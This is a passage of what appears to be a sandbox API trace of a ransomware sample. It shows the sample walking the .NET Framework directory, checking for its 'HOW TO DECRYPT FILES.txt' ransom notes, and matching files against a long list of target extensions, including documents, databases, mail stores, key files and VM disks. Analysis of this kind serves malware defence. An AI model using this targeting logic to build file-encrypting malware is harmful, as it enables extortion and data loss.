lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc80ed00, ftCreationTime.dwHighDateTime=0x1cac611, ftLastAccessTime.dwLowDateTime=0x8aaf6f20, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xc80ed00, ftLastWriteTime.dwHighDateTime=0x1cac611, nFileSizeHigh=0x0, nFileSizeLow=0xb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="csc.exe.config", cAlternateFileName="CSCEXE~1.CON")) returned 1 [0137.450] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.450] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="csc.exe.config") returned 1 [0137.450] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="csc.exe.config") returned 1 [0137.450] lstrcmpiA (lpString1="", lpString2="csc.exe.config") returned -1 [0137.450] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\csc.exe") returned="csc.exe" [0137.450] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" [0137.450] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="" [0137.450] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt" [0137.450] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\how to decrypt files.txt")) returned 0x20 [0137.451] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpString2="csc.exe.config" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\csc.exe.config") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\csc.exe.config" [0137.451] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\csc.exe.config", pszSpec="*.ems") returned 0 [0137.451] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdae73200, ftCreationTime.dwHighDateTime=0x1cac5ce, ftLastAccessTime.dwLowDateTime=0x9ebb5160, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xdae73200, ftLastWriteTime.dwHighDateTime=0x1cac5ce, nFileSizeHigh=0x0, nFileSizeLow=0x531, dwReserved0=0x0, dwReserved1=0x0, cFileName="csc.rsp", cAlternateFileName="")) returned 1 [0137.451] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.451] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="csc.rsp") returned 1 [0137.451] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="csc.rsp") returned 1 [0137.451] lstrcmpiA (lpString1="", lpString2="csc.rsp") returned -1 [0137.451] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\csc.exe.config") returned="csc.exe.config" [0137.451] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" [0137.451] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="" [0137.451] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt" [0137.451] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\how to decrypt files.txt")) returned 0x20 [0137.451] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpString2="csc.rsp" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\csc.rsp") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\csc.rsp" [0137.451] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\csc.rsp", pszSpec="*.ems") returned 0 [0137.452] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x590409e0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0xd4a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Culture.dll", cAlternateFileName="")) returned 1 [0137.452] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.452] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Culture.dll") returned 1 [0137.452] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Culture.dll") returned 1 [0137.452] lstrcmpiA (lpString1="", lpString2="Culture.dll") returned -1 [0137.452] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\csc.rsp") returned="csc.rsp" [0137.452] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" [0137.452] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="" [0137.452] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt" [0137.452] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\how to decrypt files.txt")) returned 0x20 [0137.452] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpString2="Culture.dll" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Culture.dll") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Culture.dll" [0137.452] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Culture.dll", pszSpec="*.ems") returned 0 [0137.453] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5908cca0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x174c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CustomMarshalers.dll", cAlternateFileName="CUSTOM~1.DLL")) returned 1 [0137.453] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.453] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="CustomMarshalers.dll") returned 1 [0137.453] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="CustomMarshalers.dll") returned 1 [0137.453] lstrcmpiA (lpString1="", lpString2="CustomMarshalers.dll") returned -1 [0137.453] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Culture.dll") returned="Culture.dll" [0137.453] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" [0137.453] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="" [0137.453] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt" [0137.453] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\how to decrypt files.txt")) returned 0x20 [0137.453] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpString2="CustomMarshalers.dll" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\CustomMarshalers.dll") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\CustomMarshalers.dll" [0137.453] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\CustomMarshalers.dll", pszSpec="*.ems") returned 0 [0137.454] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x682bbe00, ftCreationTime.dwHighDateTime=0x1d09e6f, ftLastAccessTime.dwLowDateTime=0x590b2e00, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x682bbe00, ftLastWriteTime.dwHighDateTime=0x1d09e6f, nFileSizeHigh=0x0, nFileSizeLow=0xa8b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cvtres.exe", cAlternateFileName="")) returned 1 [0137.455] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.455] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="cvtres.exe") returned 1 [0137.455] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="cvtres.exe") returned 1 [0137.455] lstrcmpiA (lpString1="", lpString2="cvtres.exe") returned -1 [0137.455] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\CustomMarshalers.dll") returned="CustomMarshalers.dll" [0137.455] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" [0137.455] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="" [0137.455] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt" [0137.455] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\how to decrypt files.txt")) returned 0x20 [0137.455] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpString2="cvtres.exe" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe" [0137.455] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe", pszSpec="*.ems") returned 0 [0137.455] lstrlenA (lpString="*.ems") returned 5 [0137.456] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe", pszSpec="*.db") returned 0 [0137.456] lstrlenA (lpString="*.db") returned 4 [0137.456] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe", pszSpec="*.dbf") returned 0 [0137.456] lstrlenA (lpString="*.dbf") returned 5 [0137.456] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe", pszSpec="*.myox") returned 0 [0137.456] lstrlenA (lpString="*.myox") returned 6 [0137.456] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe", pszSpec="*.myo") returned 0 [0137.456] lstrlenA (lpString="*.myo") returned 5 [0137.456] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe", pszSpec="*.qbw") returned 0 [0137.456] lstrlenA (lpString="*.qbw") returned 5 [0137.456] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe", pszSpec="*.qbb") returned 0 [0137.456] lstrlenA (lpString="*.qbb") returned 5 [0137.456] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe", pszSpec="*.qbm") returned 0 [0137.456] lstrlenA (lpString="*.qbm") returned 5 [0137.456] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe", pszSpec="*.qbo") returned 0 [0137.456] lstrlenA (lpString="*.qbo") returned 5 [0137.456] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe", pszSpec="*.qbx") returned 0 [0137.456] lstrlenA (lpString="*.qbx") returned 5 [0137.456] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe", pszSpec="*.qba") returned 0 [0137.456] lstrlenA (lpString="*.qba") returned 5 [0137.457] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe", pszSpec="*.qby") returned 0 [0137.457] lstrlenA (lpString="*.qby") returned 5 [0137.457] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe", pszSpec="*.qbj") returned 0 [0137.457] lstrlenA (lpString="*.qbj") returned 5 [0137.457] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe", pszSpec="*.ofx") returned 0 [0137.457] lstrlenA (lpString="*.ofx") returned 5 [0137.457] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe", pszSpec="*.qif") returned 0 [0137.457] lstrlenA (lpString="*.qif") returned 5 [0137.457] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe", pszSpec="*.mye") returned 0 [0137.457] lstrlenA (lpString="*.mye") returned 5 [0137.457] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe", pszSpec="*.mbox") returned 0 [0137.457] lstrlenA (lpString="*.mbox") returned 6 [0137.457] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe", pszSpec="*.eml") returned 0 [0137.457] lstrlenA (lpString="*.eml") returned 5 [0137.457] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe", pszSpec="*.pst") returned 0 [0137.457] lstrlenA (lpString="*.pst") returned 5 [0137.457] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe", pszSpec="*.ost") returned 0 [0137.457] lstrlenA (lpString="*.ost") returned 5 [0137.457] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe", pszSpec="*.idx") returned 0 [0137.457] lstrlenA (lpString="*.idx") returned 5 [0137.457] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe", pszSpec="*.dbx") returned 0 [0137.457] lstrlenA (lpString="*.dbx") returned 5 [0137.457] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe", pszSpec="*.sql") returned 0 [0137.457] lstrlenA (lpString="*.sql") returned 5 [0137.458] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe", pszSpec="*.mdb") returned 0 [0137.458] lstrlenA (lpString="*.mdb") returned 5 [0137.458] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe", pszSpec="*.fdb") returned 0 [0137.458] lstrlenA (lpString="*.fdb") returned 5 [0137.458] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe", pszSpec="*.wab") returned 0 [0137.458] lstrlenA (lpString="*.wab") returned 5 [0137.458] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe", pszSpec="*.dat") returned 0 [0137.458] lstrlenA (lpString="*.dat") returned 5 [0137.458] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe", pszSpec="*.txt") returned 0 [0137.458] lstrlenA (lpString="*.txt") returned 5 [0137.458] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe", pszSpec="*.jpeg") returned 0 [0137.458] lstrlenA (lpString="*.jpeg") returned 6 [0137.458] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe", pszSpec="*.jpg") returned 0 [0137.458] lstrlenA (lpString="*.jpg") returned 5 [0137.458] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe", pszSpec="*.png") returned 0 [0137.458] lstrlenA (lpString="*.png") returned 5 [0137.458] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe", pszSpec="*.php") returned 0 [0137.458] lstrlenA (lpString="*.php") returned 5 [0137.458] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe", pszSpec="*.cs") returned 0 [0137.458] lstrlenA (lpString="*.cs") returned 4 [0137.458] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe", pszSpec="*.cpp") returned 0 [0137.458] lstrlenA (lpString="*.cpp") returned 5 [0137.458] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe", pszSpec="*.rar") returned 0 [0137.458] lstrlenA (lpString="*.rar") returned 5 [0137.458] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe", pszSpec="*.zip") returned 0 [0137.458] lstrlenA (lpString="*.zip") returned 5 [0137.458] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe", pszSpec="*.html") returned 0 [0137.459] lstrlenA (lpString="*.html") returned 6 [0137.459] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe", pszSpec="*.htm") returned 0 [0137.459] lstrlenA (lpString="*.htm") returned 5 [0137.459] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe", pszSpec="*.xlsx") returned 0 [0137.459] lstrlenA (lpString="*.xlsx") returned 6 [0137.459] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe", pszSpec="*.xls") returned 0 [0137.459] lstrlenA (lpString="*.xls") returned 5 [0137.459] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe", pszSpec="*.mp4") returned 0 [0137.459] lstrlenA (lpString="*.mp4") returned 5 [0137.459] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe", pszSpec="*.ppt") returned 0 [0137.459] lstrlenA (lpString="*.ppt") returned 5 [0137.459] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe", pszSpec="*.pptx") returned 0 [0137.459] lstrlenA (lpString="*.pptx") returned 6 [0137.459] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe", pszSpec="*.doc") returned 0 [0137.459] lstrlenA (lpString="*.doc") returned 5 [0137.459] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe", pszSpec="*.dot") returned 0 [0137.459] lstrlenA (lpString="*.dot") returned 5 [0137.459] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe", pszSpec="*.docx") returned 0 [0137.459] lstrlenA (lpString="*.docx") returned 6 [0137.459] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe", pszSpec="*.7z") returned 0 [0137.459] lstrlenA (lpString="*.7z") returned 4 [0137.459] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe", pszSpec="*.tar") returned 0 [0137.459] lstrlenA (lpString="*.tar") returned 5 [0137.459] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe", pszSpec="*.bz2") returned 0 [0137.459] lstrlenA (lpString="*.bz2") returned 5 [0137.459] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe", pszSpec="*.gz") returned 0 [0137.459] lstrlenA (lpString="*.gz") returned 4 [0137.459] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe", pszSpec="*.mkv") returned 0 [0137.460] lstrlenA (lpString="*.mkv") returned 5 [0137.460] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe", pszSpec="*.eml") returned 0 [0137.460] lstrlenA (lpString="*.eml") returned 5 [0137.460] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe", pszSpec="*.msg") returned 0 [0137.460] lstrlenA (lpString="*.msg") returned 5 [0137.460] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe", pszSpec="*.edb") returned 0 [0137.460] lstrlenA (lpString="*.edb") returned 5 [0137.460] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe", pszSpec="*.accdb") returned 0 [0137.460] lstrlenA (lpString="*.accdb") returned 7 [0137.460] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe", pszSpec="*.odb") returned 0 [0137.460] lstrlenA (lpString="*.odb") returned 5 [0137.460] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe", pszSpec="*.java") returned 0 [0137.460] lstrlenA (lpString="*.java") returned 6 [0137.460] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe", pszSpec="*.asm") returned 0 [0137.460] lstrlenA (lpString="*.asm") returned 5 [0137.460] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe", pszSpec="*.pfx") returned 0 [0137.460] lstrlenA (lpString="*.pfx") returned 5 [0137.460] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe", pszSpec="*.pem") returned 0 [0137.460] lstrlenA (lpString="*.pem") returned 5 [0137.460] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe", pszSpec="*.p12") returned 0 [0137.460] lstrlenA (lpString="*.p12") returned 5 [0137.460] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe", pszSpec="*.gpg") returned 0 [0137.460] lstrlenA (lpString="*.gpg") returned 5 [0137.460] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe", pszSpec="*.vsd") returned 0 [0137.461] lstrlenA (lpString="*.vsd") returned 5 [0137.461] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe", pszSpec="*.odg") returned 0 [0137.461] lstrlenA (lpString="*.odg") returned 5 [0137.461] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe", pszSpec="*.raw") returned 0 [0137.461] lstrlenA (lpString="*.raw") returned 5 [0137.461] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe", pszSpec="*.nef") returned 0 [0137.461] lstrlenA (lpString="*.nef") returned 5 [0137.461] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe", pszSpec="*.svg") returned 0 [0137.461] lstrlenA (lpString="*.svg") returned 5 [0137.461] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe", pszSpec="*.psd") returned 0 [0137.461] lstrlenA (lpString="*.psd") returned 5 [0137.461] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe", pszSpec="*.vmx") returned 0 [0137.461] lstrlenA (lpString="*.vmx") returned 5 [0137.461] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe", pszSpec="*.vmdk") returned 0 [0137.461] lstrlenA (lpString="*.vmdk") returned 6 [0137.461] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe", pszSpec="*.vdi") returned 0 [0137.461] lstrlenA (lpString="*.vdi") returned 5 [0137.461] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe", pszSpec="*.lay6") returned 0 [0137.461] lstrlenA (lpString="*.lay6") returned 6 [0137.461] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe", pszSpec="*.mpeg") returned 0 [0137.461] lstrlenA 